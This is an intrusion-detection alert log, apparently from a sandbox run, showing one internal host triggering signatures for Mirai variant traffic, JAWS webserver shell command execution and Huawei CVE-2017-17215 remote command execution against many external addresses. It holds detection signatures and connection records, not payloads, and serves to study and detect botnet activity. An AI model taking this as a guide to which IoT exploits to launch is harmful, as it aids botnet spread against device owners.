2025-02-04T18:11:43.458803+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	43838	220.194.72.146	80	TCP
2025-02-04T18:11:43.458803+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	43838	220.194.72.146	80	TCP
2025-02-04T18:11:43.538505+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	56918	199.63.47.209	80	TCP
2025-02-04T18:11:43.538505+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	56918	199.63.47.209	80	TCP
2025-02-04T18:11:43.552474+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	38348	2.113.145.26	80	TCP
2025-02-04T18:11:43.552474+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	38348	2.113.145.26	80	TCP
2025-02-04T18:11:43.565862+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	46168	66.85.21.139	80	TCP
2025-02-04T18:11:43.565862+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	46168	66.85.21.139	80	TCP
2025-02-04T18:11:43.646587+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	38874	193.2.130.245	80	TCP
2025-02-04T18:11:43.646587+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	38874	193.2.130.245	80	TCP
2025-02-04T18:11:43.689135+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	49432	70.252.93.59	80	TCP
2025-02-04T18:11:43.689135+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	49432	70.252.93.59	80	TCP
2025-02-04T18:11:43.720254+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	43196	74.202.42.9	80	TCP
2025-02-04T18:11:43.720254+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	43196	74.202.42.9	80	TCP
2025-02-04T18:11:43.806078+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	48854	76.137.1.180	80	TCP
2025-02-04T18:11:43.806078+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	48854	76.137.1.180	80	TCP
2025-02-04T18:11:43.829513+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	36596	83.133.89.182	80	TCP
2025-02-04T18:11:43.829513+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	36596	83.133.89.182	80	TCP
2025-02-04T18:11:43.867323+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	54386	8.144.12.88	80	TCP
2025-02-04T18:11:43.867323+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	54386	8.144.12.88	80	TCP
2025-02-04T18:11:43.867370+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	44422	9.135.213.16	80	TCP
2025-02-04T18:11:43.867370+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	44422	9.135.213.16	80	TCP
2025-02-04T18:11:43.867556+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	56248	220.183.243.172	80	TCP
2025-02-04T18:11:43.867556+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	56248	220.183.243.172	80	TCP
2025-02-04T18:11:43.868604+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	49544	39.92.130.206	80	TCP
2025-02-04T18:11:43.868604+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	49544	39.92.130.206	80	TCP
2025-02-04T18:11:43.868635+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	37124	31.174.97.135	80	TCP
2025-02-04T18:11:43.868635+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	37124	31.174.97.135	80	TCP
2025-02-04T18:11:43.868693+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	58222	60.220.250.249	80	TCP
2025-02-04T18:11:43.868693+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	58222	60.220.250.249	80	TCP
2025-02-04T18:11:43.868926+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	39280	84.153.123.235	80	TCP
2025-02-04T18:11:43.868926+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	39280	84.153.123.235	80	TCP
2025-02-04T18:11:43.869677+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	49952	160.19.223.25	80	TCP
2025-02-04T18:11:43.869677+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	49952	160.19.223.25	80	TCP
2025-02-04T18:11:43.869785+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	38648	137.251.33.154	80	TCP
2025-02-04T18:11:43.869785+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	38648	137.251.33.154	80	TCP
2025-02-04T18:11:43.869864+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	54582	211.243.248.192	80	TCP
2025-02-04T18:11:43.869864+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	54582	211.243.248.192	80	TCP
2025-02-04T18:11:43.869866+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	45518	139.241.185.96	80	TCP
2025-02-04T18:11:43.869866+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	45518	139.241.185.96	80	TCP
2025-02-04T18:11:43.869894+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	52556	174.26.69.187	80	TCP
2025-02-04T18:11:43.869894+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	52556	174.26.69.187	80	TCP
2025-02-04T18:11:43.869951+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	35476	171.186.242.22	80	TCP
2025-02-04T18:11:43.869951+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	35476	171.186.242.22	80	TCP
2025-02-04T18:11:43.869968+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	35974	128.120.255.4	80	TCP
2025-02-04T18:11:43.869968+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	35974	128.120.255.4	80	TCP
2025-02-04T18:11:43.870098+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	41162	54.251.33.18	80	TCP
2025-02-04T18:11:43.870098+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	41162	54.251.33.18	80	TCP
2025-02-04T18:11:43.870103+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	49432	141.20.42.238	80	TCP
2025-02-04T18:11:43.870103+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	49432	141.20.42.238	80	TCP
2025-02-04T18:11:43.870148+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	35610	97.197.78.241	80	TCP
2025-02-04T18:11:43.870148+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	35610	97.197.78.241	80	TCP
2025-02-04T18:11:43.870212+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	45780	126.176.228.197	80	TCP
2025-02-04T18:11:43.870212+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	45780	126.176.228.197	80	TCP
2025-02-04T18:11:43.876728+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	36422	50.52.226.195	80	TCP
2025-02-04T18:11:43.876728+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	36422	50.52.226.195	80	TCP
2025-02-04T18:11:43.877396+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	43794	23.15.127.183	80	TCP
2025-02-04T18:11:43.877396+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	43794	23.15.127.183	80	TCP
2025-02-04T18:11:43.878866+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	53316	187.217.155.175	80	TCP
2025-02-04T18:11:43.878866+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	53316	187.217.155.175	80	TCP
2025-02-04T18:11:43.884516+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	42838	161.104.195.78	80	TCP
2025-02-04T18:11:43.884516+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	42838	161.104.195.78	80	TCP
2025-02-04T18:11:43.894216+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	56418	90.198.87.168	80	TCP
2025-02-04T18:11:43.894216+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	56418	90.198.87.168	80	TCP
2025-02-04T18:11:43.895815+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	41704	83.238.144.61	80	TCP
2025-02-04T18:11:43.895815+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	41704	83.238.144.61	80	TCP
2025-02-04T18:11:43.907637+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	48318	86.35.202.69	80	TCP
2025-02-04T18:11:43.907637+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	48318	86.35.202.69	80	TCP
2025-02-04T18:11:43.913606+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	37846	63.54.131.20	80	TCP
2025-02-04T18:11:43.913606+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	37846	63.54.131.20	80	TCP
2025-02-04T18:11:43.913830+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	38382	57.0.217.84	80	TCP
2025-02-04T18:11:43.913830+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	38382	57.0.217.84	80	TCP
2025-02-04T18:11:43.913899+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	50544	113.9.76.55	80	TCP
2025-02-04T18:11:43.913899+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	50544	113.9.76.55	80	TCP
2025-02-04T18:11:43.914016+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	33386	9.120.59.100	80	TCP
2025-02-04T18:11:43.914016+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	33386	9.120.59.100	80	TCP
2025-02-04T18:11:43.915770+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	60696	25.119.53.5	80	TCP
2025-02-04T18:11:43.915770+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	60696	25.119.53.5	80	TCP
2025-02-04T18:11:43.942810+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	47718	41.39.69.139	80	TCP
2025-02-04T18:11:43.942810+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	47718	41.39.69.139	80	TCP
2025-02-04T18:11:43.974132+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	35178	179.192.200.231	80	TCP
2025-02-04T18:11:43.974132+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	35178	179.192.200.231	80	TCP
2025-02-04T18:11:44.007263+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	37570	158.116.133.144	80	TCP
2025-02-04T18:11:44.007263+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	37570	158.116.133.144	80	TCP
2025-02-04T18:11:44.065977+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41832	156.158.79.191	37215	TCP
2025-02-04T18:11:44.065988+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	38216	74.93.106.203	80	TCP
2025-02-04T18:11:44.065988+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	38216	74.93.106.203	80	TCP
2025-02-04T18:11:44.079633+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34312	41.253.49.66	37215	TCP
2025-02-04T18:11:44.080151+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34360	156.146.215.98	37215	TCP
2025-02-04T18:11:44.084063+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49078	197.88.243.218	37215	TCP
2025-02-04T18:11:44.085603+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	57624	190.1.187.23	80	TCP
2025-02-04T18:11:44.085603+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	57624	190.1.187.23	80	TCP
2025-02-04T18:11:44.085931+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	58746	70.27.202.249	80	TCP
2025-02-04T18:11:44.085931+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	58746	70.27.202.249	80	TCP
2025-02-04T18:11:44.098916+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39126	41.190.19.200	37215	TCP
2025-02-04T18:11:44.099347+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	52356	113.60.71.8	80	TCP
2025-02-04T18:11:44.099347+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	52356	113.60.71.8	80	TCP
2025-02-04T18:11:44.578119+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51222	156.228.164.110	37215	TCP
2025-02-04T18:11:44.973776+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54430	156.158.216.173	37215	TCP
2025-02-04T18:11:44.977178+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35298	41.127.128.0	37215	TCP
2025-02-04T18:11:44.983197+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47078	41.114.117.190	37215	TCP
2025-02-04T18:11:44.985948+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41990	197.79.247.50	37215	TCP
2025-02-04T18:11:44.985948+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50026	156.206.254.225	37215	TCP
2025-02-04T18:11:44.987829+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38708	197.198.35.16	37215	TCP
2025-02-04T18:11:44.988326+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53756	197.57.30.186	37215	TCP
2025-02-04T18:11:44.988899+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40228	197.152.15.124	37215	TCP
2025-02-04T18:11:44.991830+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47110	197.44.208.174	37215	TCP
2025-02-04T18:11:44.991851+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41612	156.193.79.196	37215	TCP
2025-02-04T18:11:44.992124+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40230	156.80.185.156	37215	TCP
2025-02-04T18:11:45.145876+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	59390	37.111.84.54	80	TCP
2025-02-04T18:11:45.145876+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	59390	37.111.84.54	80	TCP
2025-02-04T18:11:45.146810+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55192	197.104.233.253	37215	TCP
2025-02-04T18:11:45.148672+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	51986	54.130.141.170	80	TCP
2025-02-04T18:11:45.148672+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	51986	54.130.141.170	80	TCP
2025-02-04T18:11:45.160769+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58656	156.64.0.128	37215	TCP
2025-02-04T18:11:45.956409+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41508	156.99.113.24	37215	TCP
2025-02-04T18:11:45.970245+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57236	156.60.115.244	37215	TCP
2025-02-04T18:11:45.970378+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53304	156.28.114.59	37215	TCP
2025-02-04T18:11:45.971090+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36858	156.80.73.90	37215	TCP
2025-02-04T18:11:45.972348+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39020	156.127.18.248	37215	TCP
2025-02-04T18:11:45.972707+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55670	156.166.178.3	37215	TCP
2025-02-04T18:11:45.973048+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53108	197.58.88.197	37215	TCP
2025-02-04T18:11:45.973086+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52954	156.79.255.142	37215	TCP
2025-02-04T18:11:45.974045+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36886	197.119.87.185	37215	TCP
2025-02-04T18:11:45.974222+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41032	156.147.94.235	37215	TCP
2025-02-04T18:11:45.974528+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40618	41.204.54.254	37215	TCP
2025-02-04T18:11:45.976179+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34764	197.34.184.215	37215	TCP
2025-02-04T18:11:45.985850+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39920	197.116.128.117	37215	TCP
2025-02-04T18:11:45.985914+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35880	41.136.19.221	37215	TCP
2025-02-04T18:11:45.989346+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59756	197.243.83.152	37215	TCP
2025-02-04T18:11:45.989619+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37002	156.237.202.67	37215	TCP
2025-02-04T18:11:45.989843+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57748	197.234.52.32	37215	TCP
2025-02-04T18:11:45.990492+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50130	156.14.214.230	37215	TCP
2025-02-04T18:11:45.990778+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44816	156.53.45.244	37215	TCP
2025-02-04T18:11:45.991048+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47382	41.210.51.165	37215	TCP
2025-02-04T18:11:45.991190+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51666	197.158.248.189	37215	TCP
2025-02-04T18:11:45.992500+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58970	197.58.112.233	37215	TCP
2025-02-04T18:11:46.035349+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39468	197.80.140.137	37215	TCP
2025-02-04T18:11:46.142273+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	55838	202.190.152.115	80	TCP
2025-02-04T18:11:46.142273+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	55838	202.190.152.115	80	TCP
2025-02-04T18:11:46.159988+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	37292	194.10.184.124	80	TCP
2025-02-04T18:11:46.159988+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	37292	194.10.184.124	80	TCP
2025-02-04T18:11:46.568199+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39100	156.225.90.134	37215	TCP
2025-02-04T18:11:46.592325+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	33964	18.238.109.205	80	TCP
2025-02-04T18:11:46.592325+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	33964	18.238.109.205	80	TCP
2025-02-04T18:11:46.933235+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43392	156.236.14.88	37215	TCP
2025-02-04T18:11:47.001500+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53070	197.137.12.64	37215	TCP
2025-02-04T18:11:47.001610+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45358	41.234.149.164	37215	TCP
2025-02-04T18:11:47.002249+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59104	197.214.151.188	37215	TCP
2025-02-04T18:11:47.017846+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	47016	161.225.186.189	80	TCP
2025-02-04T18:11:47.017846+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	47016	161.225.186.189	80	TCP
2025-02-04T18:11:47.018937+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48378	197.153.147.0	37215	TCP
2025-02-04T18:11:47.019026+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41392	156.121.211.228	37215	TCP
2025-02-04T18:11:47.020842+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45310	156.41.200.154	37215	TCP
2025-02-04T18:11:47.032778+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52344	41.13.201.6	37215	TCP
2025-02-04T18:11:47.035299+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35024	156.165.110.101	37215	TCP
2025-02-04T18:11:47.038413+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46044	41.59.4.95	37215	TCP
2025-02-04T18:11:47.040310+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59366	156.80.97.59	37215	TCP
2025-02-04T18:11:47.052155+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56160	156.73.163.22	37215	TCP
2025-02-04T18:11:47.054258+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35704	41.24.75.89	37215	TCP
2025-02-04T18:11:47.056033+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50394	156.242.156.33	37215	TCP
2025-02-04T18:11:47.142085+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	46452	24.76.98.2	80	TCP
2025-02-04T18:11:47.142085+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	46452	24.76.98.2	80	TCP
2025-02-04T18:11:47.143736+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	56378	193.158.34.34	80	TCP
2025-02-04T18:11:47.143736+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	56378	193.158.34.34	80	TCP
2025-02-04T18:11:47.143833+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51154	197.182.81.17	37215	TCP
2025-02-04T18:11:47.143872+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39036	156.130.121.177	37215	TCP
2025-02-04T18:11:47.147602+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	42332	197.171.131.230	80	TCP
2025-02-04T18:11:47.147602+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	42332	197.171.131.230	80	TCP
2025-02-04T18:11:47.148189+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	60698	1.19.246.235	80	TCP
2025-02-04T18:11:47.148189+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	60698	1.19.246.235	80	TCP
2025-02-04T18:11:47.165413+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52604	156.47.87.157	37215	TCP
2025-02-04T18:11:47.173412+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	56938	83.248.130.23	80	TCP
2025-02-04T18:11:47.173412+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	56938	83.248.130.23	80	TCP
2025-02-04T18:11:48.001603+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36418	156.110.236.154	37215	TCP
2025-02-04T18:11:48.002063+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33700	197.71.189.138	37215	TCP
2025-02-04T18:11:48.017108+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45858	197.214.176.83	37215	TCP
2025-02-04T18:11:48.018067+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48330	197.84.79.40	37215	TCP
2025-02-04T18:11:48.018992+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33440	41.221.191.229	37215	TCP
